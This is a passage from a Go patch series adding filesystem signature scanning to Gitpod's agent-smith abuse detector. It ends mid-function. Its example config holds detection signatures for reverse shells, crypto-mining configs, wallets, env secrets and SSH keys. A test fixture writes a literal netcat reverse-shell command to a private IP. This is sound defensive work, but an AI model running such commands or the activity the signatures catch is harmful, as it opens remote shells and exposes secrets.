From 94cdca45826d18f127103b8ad51c0b180a000020 Mon Sep 17 00:00:00 2001 From: Kyle Brennan Date: Thu, 14 Aug 2025 16:20:10 +0000 Subject: [PATCH 01/11] feat(agent-smith): implement filesystem signature scanning - Add filesystem scanning capability to detect suspicious files in workspaces - Scan workspace directories directly from WorkingArea/{InstanceID} paths - Support filesystem signatures with filename patterns and regex matching - Add FilesystemScanning configuration with WorkingArea path - Integrate filesystem detection with existing signature classifier - Fix regex pattern matching in signature matching logic - Add comprehensive filesystem scanning tests - Update example configuration with filesystem signatures Co-authored-by: Ona --- components/ee/agent-smith/example-config.json | 45 +++ components/ee/agent-smith/pkg/agent/agent.go | 122 +++++- .../agent-smith/pkg/classifier/classifier.go | 216 ++++++++++- .../pkg/classifier/classifier_test.go | 35 ++ .../pkg/classifier/filesystem_test.go | 296 ++++++++++++++ .../ee/agent-smith/pkg/classifier/sinature.go | 6 +- .../ee/agent-smith/pkg/config/config.go | 42 +- .../ee/agent-smith/pkg/detector/filesystem.go | 320 ++++++++++++++++ .../pkg/detector/filesystem_test.go | 362 ++++++++++++++++++ dev/preview/workflow/preview/deploy-gitpod.sh | 8 + .../pkg/components/agent-smith/configmap.go | 8 + .../pkg/components/agent-smith/constants.go | 4 + .../pkg/components/agent-smith/daemonset.go | 86 +++-- 13 files changed, 1511 insertions(+), 39 deletions(-) create mode 100644 components/ee/agent-smith/pkg/classifier/filesystem_test.go create mode 100644 components/ee/agent-smith/pkg/detector/filesystem.go create mode 100644 components/ee/agent-smith/pkg/detector/filesystem_test.go diff --git a/components/ee/agent-smith/example-config.json b/components/ee/agent-smith/example-config.json index 2a7ef4b3188706..e428f07bbe26b4 100644 --- a/components/ee/agent-smith/example-config.json +++ b/components/ee/agent-smith/example-config.json @@ -10,8 +10,53 @@ "kind": "elf", "pattern": "YWdlbnRTbWl0aFRlc3RUYXJnZXQ=", "regexp": false + }, + { + "name": "mining_pool_config", + "domain": "filesystem", + "pattern": "c3RyYXR1bSt0Y3A6Ly8=", + "regexp": false, + "filenames": ["*.conf", "mining.conf", "config.json"] + }, + { + "name": "crypto_wallet_file", + "domain": "filesystem", + "pattern": "d2FsbGV0", + "regexp": false, + "filenames": ["wallet.dat", "*.wallet"] + }, + { + "name": "reverse_shell_script", + "domain": "filesystem", + "pattern": "bmMgLWUgL2Jpbi9zaA==", + "regexp": false, + "filenames": ["*.sh", "*.py", "shell.*"] + } + ] + }, + "audit": { + "signatures": [ + { + "name": "suspicious_env_file", + "domain": "filesystem", + "pattern": "QVBJX0tFWT0=", + "regexp": false, + "filenames": [".env", "*.env", ".environment"] + }, + { + "name": "ssh_private_key", + "domain": "filesystem", + "pattern": "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0t", + "regexp": false, + "filenames": ["id_rsa", "id_dsa", "id_ecdsa", "*.pem"] } ] } + }, + "filesystemScanning": { + "enabled": true, + "scanInterval": "5m", + "maxFileSize": 1024, + "workingArea": "/mnt/workingarea-mk2" } } diff --git a/components/ee/agent-smith/pkg/agent/agent.go b/components/ee/agent-smith/pkg/agent/agent.go index f805e0545ca101..a0ddd7422908e7 100644 --- a/components/ee/agent-smith/pkg/agent/agent.go +++ b/components/ee/agent-smith/pkg/agent/agent.go @@ -51,8 +51,10 @@ type Smith struct { timeElapsedHandler func(t time.Time) time.Duration notifiedInfringements *lru.Cache - detector detector.ProcessDetector - classifier classifier.ProcessClassifier + detector detector.ProcessDetector + classifier classifier.ProcessClassifier + fileDetector detector.FileDetector + FileClassifier classifier.FileClassifier } // NewAgentSmith creates a new agent smith @@ -135,6 +137,30 @@ func NewAgentSmith(cfg config.Config) (*Smith, error) { return nil, err } + // Initialize filesystem detection if enabled + var filesystemDetec detector.FileDetector + var filesystemClass classifier.FileClassifier + if cfg.FilesystemScanning != nil && cfg.FilesystemScanning.Enabled { + // Create filesystem detector config + fsConfig := detector.FilesystemScanningConfig{ + Enabled: cfg.FilesystemScanning.Enabled, + ScanInterval: cfg.FilesystemScanning.ScanInterval.Duration, + MaxFileSize: cfg.FilesystemScanning.MaxFileSize, + WorkingArea: cfg.FilesystemScanning.WorkingArea, + } + + // Check if the main classifier supports filesystem detection + if fsc, ok := class.(classifier.FileClassifier); ok { + filesystemClass = fsc + filesystemDetec, err = detector.NewfileDetector(fsConfig, filesystemClass) + if err != nil { + log.WithError(err).Warn("failed to create filesystem detector") + } + } else { + log.Warn("classifier does not support filesystem detection, filesystem scanning disabled") + } + } + m := newAgentMetrics() res := &Smith{ EnforcementRules: map[string]config.EnforcementRules{ @@ -150,8 +176,10 @@ func NewAgentSmith(cfg config.Config) (*Smith, error) { wsman: wsman, - detector: detec, - classifier: class, + detector: detec, + classifier: class, + fileDetector: filesystemDetec, + FileClassifier: filesystemClass, notifiedInfringements: lru.New(notificationCacheSize), metrics: m, @@ -227,6 +255,12 @@ type classifiedProcess struct { Err error } +type classifiedFilesystemFile struct { + F detector.File + C *classifier.Classification + Err error +} + // Start gets a stream of Infringements from Run and executes a callback on them to apply a Penalty func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace, []config.PenaltyKind)) { ps, err := agent.detector.DiscoverProcesses(ctx) @@ -234,10 +268,21 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace log.WithError(err).Fatal("cannot start process detector") } + // Start filesystem detection if enabled + var fs <-chan detector.File + if agent.fileDetector != nil { + fs, err = agent.fileDetector.DiscoverFiles(ctx) + if err != nil { + log.WithError(err).Warn("cannot start filesystem detector") + } + } + var ( wg sync.WaitGroup cli = make(chan detector.Process, 500) clo = make(chan classifiedProcess, 50) + fli = make(chan detector.File, 100) + flo = make(chan classifiedFilesystemFile, 25) ) agent.metrics.RegisterClassificationQueues(cli, clo) @@ -268,6 +313,27 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace }() } + // Filesystem classification workers (fewer than process workers) + if agent.FileClassifier != nil { + for i := 0; i < 5; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for file := range fli { + log.Infof("Classifying filesystem file: %s", file.Path) + class, err := agent.FileClassifier.MatchesFile(file.Path) + // Early out for no matches + if err == nil && class.Level == classifier.LevelNoMatch { + log.Infof("File classification: no match - %s", file.Path) + continue + } + log.Infof("File classification result: %s (level: %s, err: %v)", file.Path, class.Level, err) + flo <- classifiedFilesystemFile{F: file, C: class, Err: err} + } + }() + } + } + defer log.Info("agent smith main loop ended") // We want to fill the classifier in a Go routine seaparete from using the classification @@ -288,6 +354,15 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace // we're overfilling the classifier worker agent.metrics.classificationBackpressureInDrop.Inc() } + case file, ok := <-fs: + if !ok { + continue + } + select { + case fli <- file: + default: + // filesystem queue full, skip this file + } } } }() @@ -319,6 +394,33 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace }, }, }) + case fileClass := <-flo: + log.Infof("Received classified file from flo channel") + file, cl, err := fileClass.F, fileClass.C, fileClass.Err + if err != nil { + log.WithError(err).WithFields(log.OWI(file.Workspace.OwnerID, file.Workspace.WorkspaceID, file.Workspace.InstanceID)).WithField("path", file.Path).Error("cannot classify filesystem file") + continue + } + if cl == nil || cl.Level == classifier.LevelNoMatch { + log.Warn("filesystem signature not detected", "path", file.Path, "workspace", file.Workspace.WorkspaceID) + continue + } + + log.Info("filesystem signature detected", "path", file.Path, "workspace", file.Workspace.WorkspaceID, "severity", cl.Level, "message", cl.Message) + _, _ = agent.Penalize(InfringingWorkspace{ + SupervisorPID: file.Workspace.PID, + Owner: file.Workspace.OwnerID, + InstanceID: file.Workspace.InstanceID, + WorkspaceID: file.Workspace.WorkspaceID, + GitRemoteURL: []string{file.Workspace.GitURL}, + Infringements: []Infringement{ + { + Kind: config.GradeKind(config.InfringementExec, common.Severity(cl.Level)), // Reuse exec for now + Description: fmt.Sprintf("filesystem signature: %s", cl.Message), + CommandLine: []string{file.Path}, // Use file path as "command" + }, + }, + }) } } } @@ -420,10 +522,22 @@ func (agent *Smith) Describe(d chan<- *prometheus.Desc) { agent.metrics.Describe(d) agent.classifier.Describe(d) agent.detector.Describe(d) + if agent.fileDetector != nil { + agent.fileDetector.Describe(d) + } + if agent.FileClassifier != nil { + agent.FileClassifier.Describe(d) + } } func (agent *Smith) Collect(m chan<- prometheus.Metric) { agent.metrics.Collect(m) agent.classifier.Collect(m) agent.detector.Collect(m) + if agent.fileDetector != nil { + agent.fileDetector.Collect(m) + } + if agent.FileClassifier != nil { + agent.FileClassifier.Collect(m) + } } diff --git a/components/ee/agent-smith/pkg/classifier/classifier.go b/components/ee/agent-smith/pkg/classifier/classifier.go index e1940afe05519c..1bcee1eb4c264c 100644 --- a/components/ee/agent-smith/pkg/classifier/classifier.go +++ b/components/ee/agent-smith/pkg/classifier/classifier.go @@ -48,6 +48,14 @@ type ProcessClassifier interface { Matches(executable string, cmdline []string) (*Classification, error) } +// FileClassifier matches filesystem files against signatures +type FileClassifier interface { + prometheus.Collector + + MatchesFile(filePath string) (*Classification, error) + GetFileSignatures() []*Signature +} + func NewCommandlineClassifier(name string, level Level, allowList []string, blockList []string) (*CommandlineClassifier, error) { al := make([]*regexp.Regexp, 0, len(allowList)) for _, a := range allowList { @@ -152,6 +160,24 @@ func NewSignatureMatchClassifier(name string, defaultLevel Level, sig []*Signatu "classifier_name": name, }, }), + filesystemHitTotal: prometheus.NewCounter(prometheus.CounterOpts{ + Namespace: "gitpod_agent_smith", + Subsystem: "classifier_signature", + Name: "filesystem_hit_total", + Help: "total count of filesystem signature hits", + ConstLabels: prometheus.Labels{ + "classifier_name": name, + }, + }), + filesystemMissTotal: prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "gitpod_agent_smith", + Subsystem: "classifier_signature", + Name: "filesystem_miss_total", + Help: "total count of filesystem signature misses", + ConstLabels: prometheus.Labels{ + "classifier_name": name, + }, + }, []string{"reason"}), } } @@ -168,11 +194,14 @@ type SignatureMatchClassifier struct { Signatures []*Signature DefaultLevel Level - processMissTotal *prometheus.CounterVec - signatureHitTotal prometheus.Counter + processMissTotal *prometheus.CounterVec + signatureHitTotal prometheus.Counter + filesystemHitTotal prometheus.Counter + filesystemMissTotal *prometheus.CounterVec } var _ ProcessClassifier = &SignatureMatchClassifier{} +var _ FileClassifier = &SignatureMatchClassifier{} var sigNoMatch = &Classification{Level: LevelNoMatch, Classifier: ClassifierSignature} @@ -223,6 +252,70 @@ func (sigcl *SignatureMatchClassifier) Matches(executable string, cmdline []stri return sigNoMatch, nil } +// MatchesFile checks if a filesystem file matches any filesystem signatures +func (sigcl *SignatureMatchClassifier) MatchesFile(filePath string) (c *Classification, err error) { + filesystemSignatures := make([]*Signature, 0) + for _, sig := range sigcl.Signatures { + if sig.Domain == DomainFileSystem { + filesystemSignatures = append(filesystemSignatures, sig) + } + } + + if len(filesystemSignatures) == 0 { + return sigNoMatch, nil + } + + // Skip filename matching - the filesystem detector already filtered files + // based on signature filename patterns, so any file that reaches here + // should be checked for content matching against all filesystem signatures + matchingSignatures := filesystemSignatures + + // Open file for signature matching + r, err := os.Open(filePath) + if err != nil { + var reason string + if errors.Is(err, fs.ErrNotExist) { + reason = processMissNotFound + } else if errors.Is(err, os.ErrPermission) { + reason = processMissPermissionDenied + } else { + reason = processMissOther + } + sigcl.filesystemMissTotal.WithLabelValues(reason).Inc() + log.WithFields(logrus.Fields{ + "filePath": filePath, + "reason": reason, + }).WithError(err).Debug("filesystem signature classification miss") + return sigNoMatch, nil + } + defer r.Close() + + var serr error + + src := SignatureReadCache{ + Reader: r, + } + for _, sig := range matchingSignatures { + match, err := sig.Matches(&src) + if match { + sigcl.filesystemHitTotal.Inc() + return &Classification{ + Level: sigcl.DefaultLevel, + Classifier: ClassifierSignature, + Message: fmt.Sprintf("filesystem signature matches %s", sig.Name), + }, nil + } + if err != nil { + serr = err + } + } + if serr != nil { + return nil, serr + } + + return sigNoMatch, nil +} + type SignatureReadCache struct { Reader io.ReaderAt header []byte @@ -233,11 +326,26 @@ type SignatureReadCache struct { func (sigcl *SignatureMatchClassifier) Describe(d chan<- *prometheus.Desc) { sigcl.processMissTotal.Describe(d) sigcl.signatureHitTotal.Describe(d) + sigcl.filesystemHitTotal.Describe(d) + sigcl.filesystemMissTotal.Describe(d) } func (sigcl *SignatureMatchClassifier) Collect(m chan<- prometheus.Metric) { sigcl.processMissTotal.Collect(m) sigcl.signatureHitTotal.Collect(m) + sigcl.filesystemHitTotal.Collect(m) + sigcl.filesystemMissTotal.Collect(m) +} + +// GetFileSignatures returns signatures that are configured for filesystem domain +func (sigcl *SignatureMatchClassifier) GetFileSignatures() []*Signature { + var filesystemSignatures []*Signature + for _, sig := range sigcl.Signatures { + if sig.Domain == DomainFileSystem { + filesystemSignatures = append(filesystemSignatures, sig) + } + } + return filesystemSignatures } // CompositeClassifier combines multiple classifiers into one. The first match wins. @@ -398,6 +506,14 @@ func (cl *CountingMetricsClassifier) Matches(executable string, cmdline []string return cl.D.Matches(executable, cmdline) } +func (cl *CountingMetricsClassifier) MatchesFile(filePath string) (*Classification, error) { + cl.callCount.Inc() + if fsc, ok := cl.D.(FileClassifier); ok { + return fsc.MatchesFile(filePath) + } + return sigNoMatch, nil +} + func (cl *CountingMetricsClassifier) Describe(d chan<- *prometheus.Desc) { cl.callCount.Describe(d) cl.D.Describe(d) @@ -407,3 +523,99 @@ func (cl *CountingMetricsClassifier) Collect(m chan<- prometheus.Metric) { cl.callCount.Collect(m) cl.D.Collect(m) } + +func (cl *CountingMetricsClassifier) GetFileSignatures() []*Signature { + if fsc, ok := cl.D.(FileClassifier); ok { + return fsc.GetFileSignatures() + } + return nil +} + +func (cl GradedClassifier) MatchesFile(filePath string) (*Classification, error) { + order := []Level{LevelVery, LevelBarely, LevelAudit} + + var ( + c *Classification + err error + ) + for _, level := range order { + classifier, exists := cl[level] + if !exists { + continue + } + + if fsc, ok := classifier.(FileClassifier); ok { + c, err = fsc.MatchesFile(filePath) + if err != nil { + return nil, err + } + if c.Level != LevelNoMatch { + break + } + } + } + + if c == nil || c.Level == LevelNoMatch { + return sigNoMatch, nil + } + + res := *c + res.Classifier = ClassifierGraded + "." + res.Classifier + return &res, nil +} + +func (cl GradedClassifier) GetFileSignatures() []*Signature { + var allSignatures []*Signature + + for _, classifier := range cl { + if fsc, ok := classifier.(FileClassifier); ok { + signatures := fsc.GetFileSignatures() + allSignatures = append(allSignatures, signatures...) + } + } + + return allSignatures +} + +func (cl CompositeClassifier) MatchesFile(filePath string) (*Classification, error) { + var ( + c *Classification + err error + ) + for _, classifier := range cl { + if fsc, ok := classifier.(FileClassifier); ok { + c, err = fsc.MatchesFile(filePath) + if err != nil { + return nil, err + } + if c.Level != LevelNoMatch { + break + } + } + } + + if c == nil || len(cl) == 0 { + // empty composite classifier + return sigNoMatch, nil + } + if c.Level == LevelNoMatch { + return sigNoMatch, nil + } + + res := *c + res.Classifier = ClassifierComposite + "." + res.Classifier + return &res, nil +} + +func (cl CompositeClassifier) GetFileSignatures() []*Signature { + var allSignatures []*Signature + + for _, classifier := range cl { + if fsc, ok := classifier.(FileClassifier); ok { + signatures := fsc.GetFileSignatures() + allSignatures = append(allSignatures, signatures...) + } + } + + return allSignatures +} diff --git a/components/ee/agent-smith/pkg/classifier/classifier_test.go b/components/ee/agent-smith/pkg/classifier/classifier_test.go index c163f409d97ddf..3e94289757bca9 100644 --- a/components/ee/agent-smith/pkg/classifier/classifier_test.go +++ b/components/ee/agent-smith/pkg/classifier/classifier_test.go @@ -91,3 +91,38 @@ func TestCommandlineClassifier(t *testing.T) { }) } } + +func TestCountingMetricsClassifierFilesystemInterface(t *testing.T) { + // Create a signature classifier with filesystem signatures + signatures := []*classifier.Signature{ + { + Name: "test-filesystem", + Domain: classifier.DomainFileSystem, + Pattern: []byte("malware"), + Filename: []string{"malware.exe"}, + }, + } + + sigClassifier := classifier.NewSignatureMatchClassifier("test", classifier.LevelAudit, signatures) + countingClassifier := classifier.NewCountingMetricsClassifier("counting", sigClassifier) + + // Test that CountingMetricsClassifier implements FileClassifier + var fsc classifier.FileClassifier = countingClassifier + + // Test filesystem file matching (file doesn't exist, should return no match without error) + result, err := fsc.MatchesFile("/nonexistent/path/malware.exe") + if err != nil { + t.Fatalf("MatchesFile failed: %v", err) + } + + // Should return no match since file doesn't exist, but no error + if result.Level != classifier.LevelNoMatch { + t.Errorf("Expected LevelNoMatch for nonexistent file, got %v", result.Level) + } + + // Test that the interface delegation works by checking that it doesn't panic + // and returns a valid Classification + if result == nil { + t.Error("Expected non-nil Classification result") + } +} diff --git a/components/ee/agent-smith/pkg/classifier/filesystem_test.go b/components/ee/agent-smith/pkg/classifier/filesystem_test.go new file mode 100644 index 00000000000000..e019f1c13c0e1d --- /dev/null +++ b/components/ee/agent-smith/pkg/classifier/filesystem_test.go @@ -0,0 +1,296 @@ +// Copyright (c) 2024 Gitpod GmbH. All rights reserved. +// Licensed under the GNU Affero General Public License (AGPL). +// See License.AGPL.txt in the project root for license information. + +package classifier + +import ( + "io/ioutil" + "os" + "path/filepath" + "testing" +) + +func TestSignatureMatchClassifier_MatchesFile(t *testing.T) { + // Create temporary directory for test files + tempDir, err := ioutil.TempDir("", "agent-smith-test") + if err != nil { + t.Fatalf("failed to create temp dir: %v", err) + } + defer os.RemoveAll(tempDir) + + // Create test files + testFiles := map[string][]byte{ + "mining.conf": []byte("pool=stratum+tcp://pool.example.com:4444\nwallet=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"), + "wallet.dat": []byte("Bitcoin wallet data with private keys"), + "normal.txt": []byte("This is just a normal text file"), + "script.sh": []byte("#!/bin/bash\necho 'Hello World'"), + "malicious.sh": []byte("#!/bin/bash\nnc -e /bin/sh 192.168.1.1 4444"), + } + + for filename, content := range testFiles { + filePath := filepath.Join(tempDir, filename) + if err := ioutil.WriteFile(filePath, content, 0644); err != nil { + t.Fatalf("failed to create test file %s: %v", filename, err) + } + } + + tests := []struct { + name string + signatures []*Signature + filePath string + expectMatch bool + expectLevel Level + }{ + { + name: "filesystem signature with filename match", + signatures: []*Signature{ + { + Name: "mining_pool_config", + Domain: "filesystem", + Pattern: []byte("stratum+tcp://"), + Filename: []string{"mining.conf", "*.conf"}, + }, + }, + filePath: filepath.Join(tempDir, "mining.conf"), + expectMatch: true, + expectLevel: LevelAudit, + }, + { + name: "filesystem signature with wildcard filename", + signatures: []*Signature{ + { + Name: "shell_script", + Domain: "filesystem", + Pattern: []byte("#!/bin/bash"), + Filename: []string{"*.sh"}, + }, + }, + filePath: filepath.Join(tempDir, "script.sh"), + expectMatch: true, + expectLevel: LevelVery, + }, + { + name: "filesystem signature with content match but wrong filename", + signatures: []*Signature{ + { + Name: "specific_file_only", + Domain: "filesystem", + Pattern: []byte("Hello World"), + Filename: []string{"specific.txt"}, + }, + }, + filePath: filepath.Join(tempDir, "script.sh"), + expectMatch: false, + expectLevel: LevelNoMatch, + }, + { + name: "filesystem signature without filename restriction", + signatures: []*Signature{ + { + Name: "bitcoin_wallet", + Domain: "filesystem", + Pattern: []byte("Bitcoin wallet"), + }, + }, + filePath: filepath.Join(tempDir, "wallet.dat"), + expectMatch: true, + expectLevel: LevelBarely, + }, + { + name: "process signature should not match filesystem files", + signatures: []*Signature{ + { + Name: "process_only", + Domain: "process", + Pattern: []byte("Hello World"), + }, + }, + filePath: filepath.Join(tempDir, "script.sh"), + expectMatch: false, + expectLevel: LevelNoMatch, + }, + { + name: "filesystem signature with regex pattern", + signatures: []*Signature{ + { + Name: "reverse_shell", + Domain: "filesystem", + Pattern: []byte("nc.*-e.*sh"), + Regexp: true, + Filename: []string{"*.sh"}, + }, + }, + filePath: filepath.Join(tempDir, "malicious.sh"), + expectMatch: true, + expectLevel: LevelVery, + }, + { + name: "no filesystem signatures", + signatures: []*Signature{ + { + Name: "process_sig", + Domain: "process", + Pattern: []byte("anything"), + }, + }, + filePath: filepath.Join(tempDir, "normal.txt"), + expectMatch: false, + expectLevel: LevelNoMatch, + }, + { + name: "content pattern mismatch", + signatures: []*Signature{ + { + Name: "nonexistent_pattern", + Domain: "filesystem", + Pattern: []byte("this_pattern_does_not_exist"), + Filename: []string{"*.txt"}, + }, + }, + filePath: filepath.Join(tempDir, "normal.txt"), + expectMatch: false, + expectLevel: LevelNoMatch, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + // Validate signatures + for _, sig := range tt.signatures { + if err := sig.Validate(); err != nil { + t.Fatalf("signature validation failed: %v", err) + } + } + + classifier := NewSignatureMatchClassifier("test", tt.expectLevel, tt.signatures) + + result, err := classifier.MatchesFile(tt.filePath) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + if tt.expectMatch { + if result.Level == LevelNoMatch { + t.Errorf("expected match but got no match") + } + if result.Level != tt.expectLevel { + t.Errorf("expected level %v, got %v", tt.expectLevel, result.Level) + } + if result.Classifier != ClassifierSignature { + t.Errorf("expected classifier %v, got %v", ClassifierSignature, result.Classifier) + } + } else { + if result.Level != LevelNoMatch { + t.Errorf("expected no match but got level %v", result.Level) + } + } + }) + } +} + +func TestSignatureMatchClassifier_FilesystemFileNotFound(t *testing.T) { + signatures := []*Signature{ + { + Name: "test_sig", + Domain: "filesystem", + Pattern: []byte("test"), + }, + } + + classifier := NewSignatureMatchClassifier("test", LevelAudit, signatures) + + result, err := classifier.MatchesFile("/nonexistent/file.txt") + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + if result.Level != LevelNoMatch { + t.Errorf("expected no match for nonexistent file, got level %v", result.Level) + } +} + +func TestSignatureMatchClassifier_ContentMatching(t *testing.T) { + tests := []struct { + name string + filename string + content string + pattern string + expectMatch bool + }{ + { + name: "content matches pattern", + filename: "any-file.txt", + content: "test content", + pattern: "test", + expectMatch: true, + }, + { + name: "content does not match pattern", + filename: "any-file.txt", + content: "different content", + pattern: "test", + expectMatch: false, + }, + { + name: "empty content", + filename: "empty-file.txt", + content: "", + pattern: "test", + expectMatch: false, + }, + { + name: "binary pattern match", + filename: "binary-file.dat", + content: "foobar\n", + pattern: "foobar", + expectMatch: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + // Create a temporary file for testing + tempDir, err := ioutil.TempDir("", "agent-smith-content-test") + if err != nil { + t.Fatalf("failed to create temp dir: %v", err) + } + defer os.RemoveAll(tempDir) + + filePath := filepath.Join(tempDir, tt.filename) + if err := ioutil.WriteFile(filePath, []byte(tt.content), 0644); err != nil { + t.Fatalf("failed to create test file: %v", err) + } + + signatures := []*Signature{ + { + Name: "test_sig", + Domain: "filesystem", + Pattern: []byte(tt.pattern), + Filename: []string{}, // Empty filename list - classifier skips filename matching + }, + } + + if err := signatures[0].Validate(); err != nil { + t.Fatalf("signature validation failed: %v", err) + } + + classifier := NewSignatureMatchClassifier("test", LevelAudit, signatures) + + result, err := classifier.MatchesFile(filePath) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + if tt.expectMatch { + if result.Level == LevelNoMatch { + t.Errorf("expected content match but got no match") + } + } else { + if result.Level != LevelNoMatch { + t.Errorf("expected no content match but got level %v", result.Level) + } + } + }) + } +} diff --git a/components/ee/agent-smith/pkg/classifier/sinature.go b/components/ee/agent-smith/pkg/classifier/sinature.go index f861a02faa897c..71adb6b53c7086 100644 --- a/components/ee/agent-smith/pkg/classifier/sinature.go +++ b/components/ee/agent-smith/pkg/classifier/sinature.go @@ -282,7 +282,11 @@ func (s *Signature) matchAny(in *SignatureReadCache) (bool, error) { pos += int64(n) // TODO: deal with buffer edges (i.e. pattern wrapping around the buffer edge) - if bytes.Contains(sub, s.Pattern) { + match, matchErr := s.matches(sub) + if matchErr != nil { + return false, matchErr + } + if match { return true, nil } diff --git a/components/ee/agent-smith/pkg/config/config.go b/components/ee/agent-smith/pkg/config/config.go index 81adf9ca9467fe..a5710d7e97fd51 100644 --- a/components/ee/agent-smith/pkg/config/config.go +++ b/components/ee/agent-smith/pkg/config/config.go @@ -9,6 +9,7 @@ import ( "fmt" "io/ioutil" "strings" + "time" "github.com/gitpod-io/gitpod/agent-smith/pkg/classifier" "github.com/gitpod-io/gitpod/agent-smith/pkg/common" @@ -171,9 +172,10 @@ type Config struct { Blocklists *Blocklists `json:"blocklists,omitempty"` - Enforcement Enforcement `json:"enforcement,omitempty"` - ExcessiveCPUCheck *ExcessiveCPUCheck `json:"excessiveCPUCheck,omitempty"` - Kubernetes Kubernetes `json:"kubernetes"` + Enforcement Enforcement `json:"enforcement,omitempty"` + ExcessiveCPUCheck *ExcessiveCPUCheck `json:"excessiveCPUCheck,omitempty"` + Kubernetes Kubernetes `json:"kubernetes"` + FilesystemScanning *FilesystemScanning `json:"filesystemScanning,omitempty"` ProbePath string `json:"probePath,omitempty"` } @@ -189,6 +191,40 @@ type WorkspaceManagerConfig struct { TLS TLS `json:"tls,omitempty"` } +// FilesystemScanning configures filesystem signature scanning +type FilesystemScanning struct { + Enabled bool `json:"enabled"` + ScanInterval Duration `json:"scanInterval"` + MaxFileSize int64 `json:"maxFileSize"` + WorkingArea string `json:"workingArea"` +} + +// Duration wraps time.Duration to provide JSON marshaling/unmarshaling +type Duration struct { + time.Duration +} + +// UnmarshalJSON implements json.Unmarshaler interface +func (d *Duration) UnmarshalJSON(data []byte) error { + var s string + if err := json.Unmarshal(data, &s); err != nil { + return err + } + + duration, err := time.ParseDuration(s) + if err != nil { + return err + } + + d.Duration = duration + return nil +} + +// MarshalJSON implements json.Marshaler interface +func (d Duration) MarshalJSON() ([]byte, error) { + return json.Marshal(d.Duration.String()) +} + // Slackwebhooks holds slack notification configuration for different levels of penalty severity type SlackWebhooks struct { Audit string `json:"audit,omitempty"` diff --git a/components/ee/agent-smith/pkg/detector/filesystem.go b/components/ee/agent-smith/pkg/detector/filesystem.go new file mode 100644 index 00000000000000..e4da28bd557fd5 --- /dev/null +++ b/components/ee/agent-smith/pkg/detector/filesystem.go @@ -0,0 +1,320 @@ +// Copyright (c) 2024 Gitpod GmbH. All rights reserved. +// Licensed under the GNU Affero General Public License (AGPL). +// See License.AGPL.txt in the project root for license information. + +package detector + +import ( + "context" + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "time" + + "github.com/gitpod-io/gitpod/agent-smith/pkg/classifier" + "github.com/gitpod-io/gitpod/agent-smith/pkg/common" + "github.com/gitpod-io/gitpod/common-go/log" + "github.com/prometheus/client_golang/prometheus" +) + +// FileDetector discovers suspicious files on the node +type FileDetector interface { + prometheus.Collector + + // DiscoverFiles based on a relative path match given the classifier's signatures + DiscoverFiles(ctx context.Context) (<-chan File, error) +} + +// File represents a file that might warrant closer inspection +type File struct { + Path string + Workspace *common.Workspace + Content []byte + Size int64 + ModTime time.Time +} + +// fileDetector scans workspace filesystems for files matching signature criteria +type fileDetector struct { + mu sync.RWMutex + fs chan File + + config FilesystemScanningConfig + classifier classifier.FileClassifier + lastScanTime time.Time + + // Metrics + filesScannedTotal prometheus.Counter + filesFoundTotal prometheus.Counter + scanDurationSeconds prometheus.Histogram + droppedFilesTotal prometheus.Counter + + startOnce sync.Once +} + +// FilesystemScanningConfig holds configuration for filesystem scanning +type FilesystemScanningConfig struct { + Enabled bool + ScanInterval time.Duration + MaxFileSize int64 + WorkingArea string +} + +var _ FileDetector = &fileDetector{} + +// NewfileDetector creates a new filesystem detector +func NewfileDetector(config FilesystemScanningConfig, fsClassifier classifier.FileClassifier) (*fileDetector, error) { + if !config.Enabled { + return nil, fmt.Errorf("filesystem scanning is disabled") + } + + // Set defaults + if config.ScanInterval == 0 { + config.ScanInterval = 5 * time.Minute + } + if config.MaxFileSize == 0 { + config.MaxFileSize = 1024 // 1KB default + } + if config.WorkingArea == "" { + return nil, fmt.Errorf("workingArea must be specified") + } + + return &fileDetector{ + config: config, + classifier: fsClassifier, + lastScanTime: time.Time{}, // Zero time means never scanned + filesScannedTotal: prometheus.NewCounter(prometheus.CounterOpts{ + Namespace: "gitpod", + Subsystem: "agent_smith_filesystem_detector", + Name: "files_scanned_total", + Help: "total number of files scanned for signatures", + }), + filesFoundTotal: prometheus.NewCounter(prometheus.CounterOpts{ + Namespace: "gitpod", + Subsystem: "agent_smith_filesystem_detector", + Name: "files_found_total", + Help: "total number of files found for signature matching", + }), + scanDurationSeconds: prometheus.NewHistogram(prometheus.HistogramOpts{ + Namespace: "gitpod", + Subsystem: "agent_smith_filesystem_detector", + Name: "scan_duration_seconds", + Help: "time taken to scan workspace filesystems", + }), + droppedFilesTotal: prometheus.NewCounter(prometheus.CounterOpts{ + Namespace: "gitpod", + Subsystem: "agent_smith_filesystem_detector", + Name: "dropped_files_total", + Help: "total number of files dropped due to backpressure", + }), + }, nil +} + +func (det *fileDetector) Describe(d chan<- *prometheus.Desc) { + det.filesScannedTotal.Describe(d) + det.filesFoundTotal.Describe(d) + det.scanDurationSeconds.Describe(d) + det.droppedFilesTotal.Describe(d) +} + +func (det *fileDetector) Collect(m chan<- prometheus.Metric) { + det.filesScannedTotal.Collect(m) + det.filesFoundTotal.Collect(m) + det.scanDurationSeconds.Collect(m) + det.droppedFilesTotal.Collect(m) +} + +func (det *fileDetector) start(ctx context.Context) { + fs := make(chan File, 100) + go func() { + ticker := time.NewTicker(det.config.ScanInterval) + defer ticker.Stop() + + for { + select { + case <-ctx.Done(): + close(fs) + return + case <-ticker.C: + det.scanWorkspaces(fs) + } + } + }() + + go func() { + for f := range fs { + // Convert FilesystemFile to SuspiciousFile for compatibility + file := File{ + Path: f.Path, + Workspace: f.Workspace, + Content: nil, // Content will be read by signature matcher + Size: f.Size, + ModTime: f.ModTime, + } + det.fs <- file + } + }() + + log.Info("filesystem detector started") +} + +func (det *fileDetector) scanWorkspaces(files chan<- File) 